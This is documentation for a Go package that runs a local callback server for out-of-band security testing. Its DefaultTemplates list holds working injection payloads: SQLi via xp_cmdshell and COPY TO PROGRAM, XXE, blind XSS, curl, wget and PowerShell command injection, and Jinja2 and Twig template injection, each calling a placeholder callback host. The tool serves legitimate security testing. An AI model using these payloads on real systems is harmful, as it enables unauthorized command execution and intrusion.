Documentation
¶
Overview ¶
Package local provides a local HTTP server for OAST (Out-of-Application Security Testing) callbacks. It captures blind vulnerability interactions (SSRF, blind SQLi, blind XSS) without requiring external infrastructure.
Index ¶
- Constants
- Variables
- func GetAllCategories() []string
- func IsValidID(id string) bool
- type CallbackURL
- type Config
- type EventBus
- type IDGenerator
- type IDMetadata
- type Interaction
- type InteractionFilter
- type PayloadTemplate
- type Server
- type Stats
- type Storage
- func (s *Storage) Cleanup()
- func (s *Storage) Clear()
- func (s *Storage) Close()
- func (s *Storage) DeleteByID(id string) int
- func (s *Storage) GetAll() []*Interaction
- func (s *Storage) GetByID(id string) []*Interaction
- func (s *Storage) GetByTestID(testID string) []*Interaction
- func (s *Storage) GetCount() int
- func (s *Storage) GetCountByID(id string) int
- func (s *Storage) GetIDs() []string
- func (s *Storage) GetSince(since time.Time) []*Interaction
- func (s *Storage) GetStats() Stats
- func (s *Storage) GetTTL() time.Duration
- func (s *Storage) GetTestIDForCallback(callbackID string) string
- func (s *Storage) HasInteraction(id string) bool
- func (s *Storage) List(filter InteractionFilter) []*Interaction
- func (s *Storage) RegisterCallback(callbackID, testID string)
- func (s *Storage) SetTTL(ttl time.Duration)
- func (s *Storage) Store(interaction *Interaction) error
- type TemplateRegistry
- type URLBuilder
- func (b *URLBuilder) BuildURL(id string) string
- func (b *URLBuilder) BuildURLWithPath(id, path string) string
- func (b *URLBuilder) BuildURLWithQuery(id string, params map[string]string) string
- func (b *URLBuilder) ExtractIDFromURL(callbackURL string) (string, error)
- func (b *URLBuilder) Generate() *CallbackURL
- func (b *URLBuilder) GenerateShort() *CallbackURL
- func (b *URLBuilder) GenerateWithPath(path string) *CallbackURL
- func (b *URLBuilder) GetBaseURL() string
Constants ¶
const DefaultTTL = 24 * time.Hour
DefaultTTL is the default time-to-live for interactions.
const OASTURLPlaceholder = "{OAST_URL}"
OASTURLPlaceholder is the placeholder replaced with actual OAST URLs.
Variables ¶
var DefaultTemplates = []PayloadTemplate{
{
Name: "SSRF Basic",
Description: "Basic SSRF test with HTTP callback",
Category: "ssrf",
Template: "http://{OAST_URL}",
},
{
Name: "SSRF HTTPS",
Description: "SSRF test with HTTPS callback",
Category: "ssrf",
Template: "https://{OAST_URL}",
},
{
Name: "SSRF URL Parameter",
Description: "SSRF test for URL parameters",
Category: "ssrf",
Template: "http://{OAST_URL}/ssrf?source=param",
},
{
Name: "SSRF Redirect",
Description: "SSRF via redirect follow",
Category: "ssrf",
Template: "http://{OAST_URL}/redirect",
},
{
Name: "Blind SQLi - DNS (MSSQL)",
Description: "SQL injection with DNS exfiltration for MSSQL",
Category: "sqli",
Template: "'; EXEC master..xp_cmdshell 'nslookup {OAST_URL}'--",
},
{
Name: "Blind SQLi - HTTP (MySQL)",
Description: "SQL injection with HTTP callback for MySQL",
Category: "sqli",
Template: "' UNION SELECT LOAD_FILE(CONCAT('http://','{OAST_URL}','/sqli'))--",
},
{
Name: "Blind SQLi - PostgreSQL",
Description: "SQL injection with HTTP callback for PostgreSQL",
Category: "sqli",
Template: "'; COPY (SELECT '') TO PROGRAM 'curl http://{OAST_URL}/sqli'--",
},
{
Name: "Blind SQLi - Oracle",
Description: "SQL injection with HTTP callback for Oracle",
Category: "sqli",
Template: "' UNION SELECT UTL_HTTP.REQUEST('http://{OAST_URL}/sqli') FROM DUAL--",
},
{
Name: "XXE External Entity",
Description: "XML external entity with HTTP callback",
Category: "xxe",
Template: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{OAST_URL}/xxe">]><foo>&xxe;</foo>`,
},
{
Name: "XXE Parameter Entity",
Description: "XML parameter entity with callback",
Category: "xxe",
Template: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://{OAST_URL}/xxe"> %xxe;]><foo>test</foo>`,
},
{
Name: "XXE SVG",
Description: "XXE via SVG image upload",
Category: "xxe",
Template: `<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://{OAST_URL}/xxe">]><svg>&xxe;</svg>`,
},
{
Name: "Blind XSS - Image",
Description: "XSS with image load callback",
Category: "xss",
Template: `<img src="http://{OAST_URL}/xss">`,
},
{
Name: "Blind XSS - Script",
Description: "XSS with script load callback",
Category: "xss",
Template: `<script src="http://{OAST_URL}/xss"></script>`,
},
{
Name: "Blind XSS - Iframe",
Description: "XSS with iframe callback",
Category: "xss",
Template: `<iframe src="http://{OAST_URL}/xss"></iframe>`,
},
{
Name: "Blind XSS - CSS Import",
Description: "XSS with CSS import callback",
Category: "xss",
Template: `<style>@import url('http://{OAST_URL}/xss');</style>`,
},
{
Name: "Command Injection - cURL",
Description: "Command injection using cURL",
Category: "cmdi",
Template: "`curl http://{OAST_URL}/cmdi`",
},
{
Name: "Command Injection - wget",
Description: "Command injection using wget",
Category: "cmdi",
Template: "`wget http://{OAST_URL}/cmdi`",
},
{
Name: "Command Injection - nslookup",
Description: "Command injection with DNS callback",
Category: "cmdi",
Template: "`nslookup {OAST_URL}`",
},
{
Name: "Command Injection - PowerShell",
Description: "Command injection for Windows PowerShell",
Category: "cmdi",
Template: "; powershell -c \"Invoke-WebRequest http://{OAST_URL}/cmdi\"",
},
{
Name: "SSTI - Jinja2",
Description: "Server-side template injection for Jinja2",
Category: "ssti",
Template: `{{config.__class__.__init__.__globals__['os'].popen('curl http://{OAST_URL}/ssti').read()}}`,
},
{
Name: "SSTI - Twig",
Description: "Server-side template injection for Twig",
Category: "ssti",
Template: `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl http://{OAST_URL}/ssti")}}`,
},
{
Name: "Header Injection - Host",
Description: "Host header injection test",
Category: "header",
Template: "{OAST_URL}",
},
}
DefaultTemplates contains pre-defined payload templates for common vulnerability types.
Functions ¶
func GetAllCategories ¶
func GetAllCategories() []string
GetAllCategories returns all unique template categories.
Types ¶
type CallbackURL ¶
type CallbackURL struct {
ID string // The unique callback ID
URL string // Full callback URL
ShortURL string // Shortened URL for display
}
CallbackURL represents a generated callback URL with its components.
type Config ¶
type Config struct {
Port int // 0 = random port
Host string // Default: localhost
BasePath string // Default: /callback
}
Config holds the configuration for the OAST local server.
type EventBus ¶
type EventBus interface {
Publish(eventType string, data interface{})
}
EventBus defines the interface for publishing OAST events.
type IDGenerator ¶
type IDGenerator struct {
// contains filtered or unexported fields
}
IDGenerator generates unique, collision-resistant IDs for OAST callbacks.
func NewIDGenerator ¶
func NewIDGenerator(prefix string) *IDGenerator
NewIDGenerator creates a new ID generator with the specified prefix.
func (*IDGenerator) Generate ¶
func (g *IDGenerator) Generate() string
Generate creates a unique, collision-resistant ID. Format: {prefix}-{timestamp}-{random}-{counter} Example: oast-1705420800-k7m3np2q-0001
func (*IDGenerator) GenerateShort ¶
func (g *IDGenerator) GenerateShort() string
GenerateShort creates a shorter ID (for URL readability). Format: {random8} Example: k7m3np2q
type IDMetadata ¶
IDMetadata contains parsed metadata from a generated ID.
func ParseID ¶
func ParseID(id string) (*IDMetadata, error)
ParseID extracts metadata from a generated ID.
type Interaction ¶
type Interaction struct {
ID string `json:"id"`
Type string `json:"type"`
Timestamp time.Time `json:"timestamp"`
Method string `json:"method,omitempty"`
Path string `json:"path,omitempty"`
Query string `json:"query,omitempty"`
Headers map[string][]string `json:"headers,omitempty"`
Body string `json:"body,omitempty"`
ClientIP string `json:"client_ip"`
UserAgent string `json:"user_agent,omitempty"`
TestID string `json:"test_id,omitempty"`
RequestID string `json:"request_id,omitempty"`
}
Interaction represents a single OAST callback interaction.
type InteractionFilter ¶
type InteractionFilter struct {
ID string
Type string
Since time.Time
TestID string
RequestID string
Limit int
}
InteractionFilter defines criteria for filtering interactions.
type PayloadTemplate ¶
type PayloadTemplate struct {
Name string // Template name
Description string // Human-readable description
Category string // Vulnerability category: ssrf, sqli, xss, xxe, cmdi, etc.
Template string // Payload with {OAST_URL} placeholder
}
PayloadTemplate represents a payload template with an OAST URL placeholder.
func GetTemplateByName ¶
func GetTemplateByName(name string) *PayloadTemplate
GetTemplateByName returns a template by its name.
func GetTemplatesByCategory ¶
func GetTemplatesByCategory(category string) []PayloadTemplate
GetTemplatesByCategory returns all templates for a specific category.
func (*PayloadTemplate) Build ¶
func (t *PayloadTemplate) Build(oastURL string) string
Build replaces the OAST URL placeholder with the actual URL.
func (*PayloadTemplate) BuildWithHost ¶
func (t *PayloadTemplate) BuildWithHost(host string) string
BuildWithHost replaces the placeholder with just the host portion.
type Server ¶
type Server struct {
// contains filtered or unexported fields
}
Server is the OAST local HTTP server that captures callback interactions.
func New ¶
func New(cfg Config, eventBus EventBus, logger *logging.AuditLogger) *Server
New creates a new OAST local server with the given configuration.
func (*Server) GetBaseURL ¶
GetBaseURL returns the base URL for callbacks.
func (*Server) GetStorage ¶
GetStorage returns the server's interaction storage.
type Stats ¶
type Stats struct {
TotalInteractions int `json:"total_interactions"`
ByType map[string]int `json:"by_type"`
UniqueIDs int `json:"unique_ids"`
OldestTimestamp time.Time `json:"oldest_timestamp,omitempty"`
NewestTimestamp time.Time `json:"newest_timestamp,omitempty"`
}
Stats contains statistics about stored interactions.
type Storage ¶
type Storage struct {
// contains filtered or unexported fields
}
Storage provides thread-safe in-memory storage for OAST interactions with TTL-based cleanup and efficient indexing.
func NewStorage ¶
func NewStorage() *Storage
NewStorage creates a new in-memory interaction storage with default TTL.
func NewStorageWithTTL ¶
NewStorageWithTTL creates a new storage with a custom TTL.
func (*Storage) Cleanup ¶
func (s *Storage) Cleanup()
Cleanup removes interactions older than the configured TTL.
func (*Storage) Close ¶
func (s *Storage) Close()
Close stops the cleanup goroutine and releases resources.
func (*Storage) DeleteByID ¶
DeleteByID removes all interactions for a given ID.
func (*Storage) GetAll ¶
func (s *Storage) GetAll() []*Interaction
GetAll returns all stored interactions.
func (*Storage) GetByID ¶
func (s *Storage) GetByID(id string) []*Interaction
GetByID returns all interactions for a given callback ID.
func (*Storage) GetByTestID ¶
func (s *Storage) GetByTestID(testID string) []*Interaction
GetByTestID returns all interactions for a given test ID.
func (*Storage) GetCountByID ¶
GetCountByID returns the number of interactions for a specific ID.
func (*Storage) GetSince ¶
func (s *Storage) GetSince(since time.Time) []*Interaction
GetSince returns all interactions since the given timestamp.
func (*Storage) GetTestIDForCallback ¶
GetTestIDForCallback retrieves the test ID associated with a callback ID.
func (*Storage) HasInteraction ¶
HasInteraction checks if any interaction exists for the given ID.
func (*Storage) List ¶
func (s *Storage) List(filter InteractionFilter) []*Interaction
List returns interactions matching the given filter.
func (*Storage) RegisterCallback ¶
RegisterCallback associates a callback ID with a test ID for future interactions.
func (*Storage) Store ¶
func (s *Storage) Store(interaction *Interaction) error
Store saves an interaction to storage.
type TemplateRegistry ¶
type TemplateRegistry struct {
// contains filtered or unexported fields
}
TemplateRegistry allows registration of custom templates.
func NewTemplateRegistry ¶
func NewTemplateRegistry() *TemplateRegistry
NewTemplateRegistry creates a new registry with default templates.
func (*TemplateRegistry) GetAll ¶
func (r *TemplateRegistry) GetAll() []PayloadTemplate
GetAll returns all templates from the registry.
func (*TemplateRegistry) GetByCategory ¶
func (r *TemplateRegistry) GetByCategory(category string) []PayloadTemplate
GetByCategory returns all templates for a category from the registry.
func (*TemplateRegistry) GetByName ¶
func (r *TemplateRegistry) GetByName(name string) *PayloadTemplate
GetByName returns a template by name from the registry.
func (*TemplateRegistry) Register ¶
func (r *TemplateRegistry) Register(t PayloadTemplate)
Register adds a custom template to the registry.
type URLBuilder ¶
type URLBuilder struct {
// contains filtered or unexported fields
}
URLBuilder generates callback URLs with unique IDs.
func NewURLBuilder ¶
func NewURLBuilder(baseURL string) *URLBuilder
NewURLBuilder creates a new URL builder with the specified base URL.
func NewURLBuilderWithPrefix ¶
func NewURLBuilderWithPrefix(baseURL, prefix string) *URLBuilder
NewURLBuilderWithPrefix creates a URL builder with a custom ID prefix.
func (*URLBuilder) BuildURL ¶
func (b *URLBuilder) BuildURL(id string) string
BuildURL constructs a callback URL for a given ID.
func (*URLBuilder) BuildURLWithPath ¶
func (b *URLBuilder) BuildURLWithPath(id, path string) string
BuildURLWithPath constructs a callback URL with an additional path.
func (*URLBuilder) BuildURLWithQuery ¶
func (b *URLBuilder) BuildURLWithQuery(id string, params map[string]string) string
BuildURLWithQuery constructs a callback URL with query parameters.
func (*URLBuilder) ExtractIDFromURL ¶
func (b *URLBuilder) ExtractIDFromURL(callbackURL string) (string, error)
ExtractIDFromURL extracts the callback ID from a full callback URL.
func (*URLBuilder) Generate ¶
func (b *URLBuilder) Generate() *CallbackURL
Generate creates a new callback URL with a unique ID.
func (*URLBuilder) GenerateShort ¶
func (b *URLBuilder) GenerateShort() *CallbackURL
GenerateShort creates a callback URL with a short ID.
func (*URLBuilder) GenerateWithPath ¶
func (b *URLBuilder) GenerateWithPath(path string) *CallbackURL
GenerateWithPath creates a callback URL with an additional path suffix.
func (*URLBuilder) GetBaseURL ¶
func (b *URLBuilder) GetBaseURL() string
GetBaseURL returns the base URL used by this builder.